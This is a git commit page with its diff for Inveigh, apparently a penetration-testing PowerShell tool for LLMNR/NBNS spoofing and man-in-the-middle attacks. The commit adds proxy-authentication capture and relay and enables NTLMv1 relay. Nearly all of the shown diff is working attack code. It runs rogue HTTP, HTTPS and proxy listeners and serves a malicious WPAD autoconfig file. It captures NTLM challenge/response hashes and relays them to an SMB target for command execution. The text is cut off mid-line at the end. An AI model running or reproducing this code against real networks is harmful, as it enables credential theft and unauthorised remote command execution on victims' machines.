diff options
| author | Kevin Robertson <robertsonk@gmail.com> | 2017-03-21 00:05:58 -0400 |
|---|---|---|
| committer | Kevin Robertson <robertsonk@gmail.com> | 2017-03-21 00:05:58 -0400 |
| commit | 6aaf5e4aa6a3c5eb9227e9117268d24ff7870c8c (patch) | |
| tree | 9e125cf5e214274eb06d7708c004742ead640fc5 | |
| parent | 6eb361f0d58c9ecd3b0ede51093f157b31a6244b (diff) | |
| download | Inveigh-6aaf5e4aa6a3c5eb9227e9117268d24ff7870c8c.tar.gz Inveigh-6aaf5e4aa6a3c5eb9227e9117268d24ff7870c8c.zip | |
Merged Inveigh and Inveigh-Unprivileged, added proxy auth
I decided to do more for 1.3. I still need to do a lot of testing for
these versions and make a few tweaks.
Inveigh.ps1 - I merged Inveigh and Inveigh-Unprivileged together without
losing any funtionality. By default, Inveigh will detect privilege and
the run what's appropriate. Basically, an elevated privileged shell =
old Inveigh, non-elevated = old Inveigh-Unprivileged. You can also set
the mode manually through ElevatedPrivilege. I also added proxy
authentication (thanks to Laurent Gaffie and Mubix for the idea from
Responder) to grab challenge/response hashes or basic cleartext. Added
support for serving HTA code through HTTPResponse or stored files.
Inveigh-Relay.ps1 - Added proxy authentication relay. Enabled NTLMv1
relay. Added auto-exit (RelayAutoExit) after success.
Inveigh-Unprivileged.ps1 - gone
| -rw-r--r-- | Inveigh.psm1 | 1 | ||||
| -rw-r--r-- | Scripts/Inveigh-Relay.ps1 | 411 | ||||
| -rw-r--r-- | Scripts/Inveigh-Unprivileged.ps1 | 2452 | ||||
| -rw-r--r-- | Scripts/Inveigh.ps1 | 1715 |
4 files changed, 1565 insertions, 3014 deletions
diff --git a/Inveigh.psm1 b/Inveigh.psm1 index 1e76490..879021d 100644 --- a/Inveigh.psm1 +++ b/Inveigh.psm1 @@ -6,5 +6,4 @@ Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool. https://github.com/Kevin-Robertson/Inveigh #> Import-Module $PWD\Scripts\Inveigh.ps1 -Import-Module $PWD\Scripts\Inveigh-Unprivileged.ps1 Import-Module $PWD\Scripts\Inveigh-Relay.ps1
\ No newline at end of file diff --git a/Scripts/Inveigh-Relay.ps1 b/Scripts/Inveigh-Relay.ps1 index 374e8bf..08a3f3d 100644 --- a/Scripts/Inveigh-Relay.ps1 +++ b/Scripts/Inveigh-Relay.ps1 @@ -61,6 +61,15 @@ Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response capture Default = NTLM: (Anonymous,NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. +.PARAMETER ProxyRelay +Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8182: TCP port for the proxy listener. + .PARAMETER Usernames Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. @@ -69,6 +78,9 @@ domain\username format. Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on target. +.PARAMETER RelayAutoExit +Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. + .PARAMETER ConsoleOutput Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. @@ -120,6 +132,7 @@ param ( [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", @@ -128,15 +141,18 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM", [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "", [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", [parameter(Mandatory=$false)][Array]$Usernames = "", [parameter(Mandatory=$false)][Int]$HTTPPort = "80", [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", [parameter(Mandatory=$false)][Int]$RunTime = "", [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", @@ -153,6 +169,11 @@ if ($invalid_parameter) throw } +if(!$ProxyIP) +{ + $ProxyIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + if(!$OutputDir) { $output_directory = $PWD.Path @@ -182,7 +203,7 @@ if($inveigh.relay_running) throw } -if(!$inveigh.running -or !$inveigh.unprivileged_running) +if(!$inveigh.running) { $inveigh.console_queue = New-Object System.Collections.ArrayList $inveigh.status_queue = New-Object System.Collections.ArrayList @@ -202,6 +223,28 @@ if(!$inveigh.running -or !$inveigh.unprivileged_running) $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" } +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + +} + $inveigh.relay_running = $true $inveigh.SMB_relay = $true @@ -249,11 +292,6 @@ else $inveigh.status_queue.Add("Inveigh Relay started at $(Get-Date -format 's')") > $null $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay started")]) > $null -if($StartupChecks -eq 'Y') -{ - $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} -} - if($firewall_status) { $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null @@ -270,11 +308,6 @@ if($firewall_status) if($HTTP -eq 'Y') { - if($StartupChecks -eq 'Y') - { - $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " - } - if($HTTP_port_check) { $HTTP = "N" @@ -306,11 +339,6 @@ else if($HTTPS -eq 'Y') { - - if($StartupChecks -eq 'Y') - { - $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " - } if($HTTPS_port_check) { @@ -420,6 +448,13 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') } +if($Proxy -eq 'Y') +{ + $inveigh.status_queue.Add("Proxy Capture/Relay = Enabled") > $null + $ProxyPortFailover = $ProxyPort + 1 + $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $ProxyIP`:$ProxyPort; PROXY $ProxyIP`:$ProxyPortFailover; DIRECT`";}" +} + $inveigh.status_queue.Add("Relay Target = $Target") > $null if($Usernames) @@ -445,6 +480,15 @@ else $inveigh.status_queue.Add("Relay Auto Disable = Disabled") > $null } +if($RelayAutoExit -eq 'Y') +{ + $inveigh.status_queue.Add("Relay Auto Exit = Enabled") > $null +} +else +{ + $inveigh.status_queue.Add("Relay Auto Exit = Disabled") > $null +} + if($Service) { $inveigh.status_queue.Add("Relay Service = $Service") > $null @@ -477,20 +521,9 @@ else if($FileOutput -eq 'Y') { - - if($inveigh.file_output) - { - $inveigh.file_output = $false - } - else - { - $inveigh.file_output = $true - } - $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null $inveigh.status_queue.Add("Output Directory = $output_directory") > $null $inveigh.file_output = $true - } else { @@ -2481,11 +2514,11 @@ $SMB_relay_response_scriptblock = # HTTP/HTTPS Server ScriptBlock $HTTP_scriptblock = { - param ($Challenge,$HTTPIP,$HTTPPort,$Target,$Command,$Usernames,$RelayAutoDisable,$WPADAuth,$SSL,$certificate,$SMB_version,$Service) + param ($Challenge,$Command,$HTTPIP,$HTTPPort,$HTTPS_listener,$proxy_listener,$RelayAutoDisable,$Service,$SMB_version,$Target,$WPADAuth,$WPADResponse) function NTLMChallengeBase64 { - param ([String]$Challenge) + param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() @@ -2505,7 +2538,7 @@ $HTTP_scriptblock = $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - $inveigh.HTTP_challenge_queue.Add($HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + @@ -2529,6 +2562,19 @@ $HTTP_scriptblock = return $NTLM } + if($HTTPS_listener) + { + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + if($HTTPIP -ne '0.0.0.0') { $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) @@ -2542,22 +2588,32 @@ $HTTP_scriptblock = $HTTP_running = $true $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + $HTTP_WWW_authenticate_header = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # Proxy-Authenticate + } + else + { + $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate + } + try { $HTTP_listener.Start() } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting HTTP listener") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting HTTP listener")]) + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener")]) $HTTP_running = $false } - $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate $HTTP_client_close = $true $relay_step = 0 - :HTTP_listener_loop while ($inveigh.relay_running -and $HTTP_running) + :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) { $TCP_request = "" $TCP_request_bytes = New-Object System.Byte[] 4096 @@ -2591,7 +2647,7 @@ $HTTP_scriptblock = $relay_reset = 0 } - if($SSL) + if($HTTPS_listener) { if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) @@ -2612,7 +2668,6 @@ $HTTP_scriptblock = } while ($HTTP_clear_stream.DataAvailable) $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) - $HTTP_type = "HTTPS" } else { @@ -2629,11 +2684,9 @@ $HTTP_scriptblock = } $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) - $HTTP_type = "HTTP" - } - if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") { $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} @@ -2658,7 +2711,16 @@ $HTTP_scriptblock = } else { - $HTTP_response_status_code = 0x34,0x30,0x31 + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 + } + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 } @@ -2676,7 +2738,15 @@ $HTTP_scriptblock = { $authentication_header = $authentication_header -replace 'NTLM ','' [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $HTTP_response_status_code = 0x34,0x30,0x31 + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 + } if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') { @@ -2707,7 +2777,7 @@ $HTTP_scriptblock = if($SMB_relay_bytes.Length -le 3) { $relay_step = 0 - $NTLM = NTLMChallengeBase64 $Challenge + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } } @@ -2763,8 +2833,6 @@ $HTTP_scriptblock = { $NTLM = NTLMChallengeBase64 $Challenge } - - $HTTP_response_status_code = 0x34,0x30,0x31 } elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') @@ -2805,28 +2873,29 @@ $HTTP_scriptblock = if($HTTP_NTLM_length -eq 24) # NTLMv1 { + $NTLM_type = "NTLMv1" $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" $NTLM_response = $NTLM_response.Insert(48,':') $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP ($HTTP_NTLM_host_string)")]) + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP ($HTTP_NTLM_host_string)")]) $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $HTTP_NTLM_hash) + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $HTTP_NTLM_hash) } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") } if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) { $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + $inveigh.console_queue.Add("$HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) } if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") @@ -2846,10 +2915,10 @@ $HTTP_scriptblock = if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP " + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP " + "(" + $HTTP_NTLM_host_string + ")")]) $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP " + "(" + $HTTP_NTLM_host_string + "):`n" + $HTTP_NTLM_hash) + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP " + "(" + $HTTP_NTLM_host_string + "):`n" + $HTTP_NTLM_hash) if($inveigh.file_output) { @@ -2892,9 +2961,9 @@ $HTTP_scriptblock = } else { - $inveigh.console_queue.Add("NTLMv1 SMB relay not yet supported") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) - $SMB_relay_socket.Close() + $inveigh.console_queue.Add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target")]) + SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_version $SMB_user_ID $SMB_session_ID $relay_step = 0 } @@ -2927,6 +2996,11 @@ $HTTP_scriptblock = } + if($proxy_listener) + { + $HTTP_client.Client.Close() + } + } else { @@ -2949,16 +3023,26 @@ $HTTP_scriptblock = } + if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and [System.BitConverter]::ToString($HTTP_response_status_code) -eq "32-30-30") + { + $HTTP_message = $WPADResponse + $HTTP_content_type_header = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + 0x0d,0x0a + } + else + { + $HTTP_message = "" + $HTTP_content_type_header = $null + } + $HTTP_timestamp = Get-Date -format r $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - $HTTP_message = "" + $HTTP_content_length_header = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_content_headers = $HTTP_content_type_header + $HTTP_content_length_header + $HTTP_message_bytes = 0x0d,0x0a + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) { $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + $HTTP_response_status_code + @@ -2971,11 +3055,8 @@ $HTTP_scriptblock = 0x0d,0x0a + $HTTP_WWW_authenticate_header + $NTLM + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + + 0x0d,0x0a + + $HTTP_content_headers + 0x0d,0x0a + $HTTP_message_bytes @@ -2984,9 +3065,6 @@ $HTTP_scriptblock = { $HTTP_response_status_code = 0x32,0x30,0x30 $HTTP_response_phrase = 0x4f,0x4b - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + $HTTP_response_status_code + @@ -2996,11 +3074,8 @@ $HTTP_scriptblock = 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, 0x0a,0x44,0x61,0x74,0x65,0x3a + $HTTP_timestamp + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + + 0x0d,0x0a + + $HTTP_content_headers + 0x0d,0x0a + $HTTP_message_bytes } @@ -3036,71 +3111,96 @@ $HTTP_scriptblock = $control_relay_scriptblock = { - param ($RunTime) + param ($RelayAutoExit,$RunTime) - if($RunTime) - { - $control_timeout = New-TimeSpan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - while ($inveigh.relay_running) + function StopInveigh { + param ([String]$exit_message) - if($RunTime) + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) { - if($control_stopwatch.Elapsed -ge $control_timeout) + try { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - if($inveigh.HTTP_listener.IsListening) + ForEach($certificate in $certificates) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $certificate_store.Remove($certificate) } - - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - if($inveigh.HTTPS) + $certificate_store.Close() + } + catch + { + $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null + + if($inveigh.file_output) { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append + } - if($inveigh.status_output) - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - } + } + + } - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + if($inveigh.running) + { + $inveigh.console_queue.Add("Inveigh exited at $(Get-Date -format 's')") + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") > $null + Start-Sleep -S 1 + $inveigh.running = $false - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - - } + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh exited due to $exit_message" | Out-File $Inveigh.log_out_file -Append + } + + } + + $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") > $null + Start-Sleep -S 1 + $inveigh.relay_running = $false + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message" | Out-File $Inveigh.log_out_file -Append + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + } + + if($RunTime) + { + $control_timeout = New-TimeSpan -Minutes $RunTime + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.relay_running) + { + + if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) + { + Start-Sleep -S 5 + StopInveigh "disabled relay" + } + + if($RunTime) + { - $inveigh.HTTP = $false - $inveigh.HTTPS = $false + if($control_stopwatch.Elapsed -ge $control_timeout) + { + StopInveigh "run time" } } - if($inveigh.file_output -and $inveigh.relay_file_output) + if($inveigh.file_output -and -not $inveigh.control) { while($inveigh.log_file_queue.Count -gt 0) @@ -3137,7 +3237,8 @@ $control_relay_scriptblock = # HTTP Listener Startup function function HTTPListener() { - $SSL = $False + $HTTPS_listener = $false + $proxy_listener = $false $HTTP_runspace = [RunspaceFactory]::CreateRunspace() $HTTP_runspace.Open() $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) @@ -3149,10 +3250,10 @@ function HTTPListener() $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPIP).AddArgument( - $HTTPPort).AddArgument($Target).AddArgument($Command).AddArgument($Usernames).AddArgument( - $RelayAutoDisable).AddArgument($WPADAuth).AddArgument($SSL).AddArgument($certificate).AddArgument( - $SMB_version).AddArgument($Service) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPS_listener).AddArgument($proxy_listener).AddArgument( + $RelayAutoDisable).AddArgument($Service).AddArgument($SMB_version).AddArgument($Target).AddArgument( + $WPADAuth).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } @@ -3161,7 +3262,8 @@ Start-Sleep -m 50 # HTTPS Listener Startup function function HTTPSListener() { - $SSL = $True + $HTTPS_listener = $true + $proxy_listener = $false $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() $HTTPS_runspace.Open() $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) @@ -3173,13 +3275,38 @@ function HTTPSListener() $HTTPS_powershell.AddScript($SMB_relay_response_scriptblock) > $null $HTTPS_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTPS_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPIP).AddArgument( - $HTTPSPort).AddArgument($Target).AddArgument($Command).AddArgument($Usernames).AddArgument( - 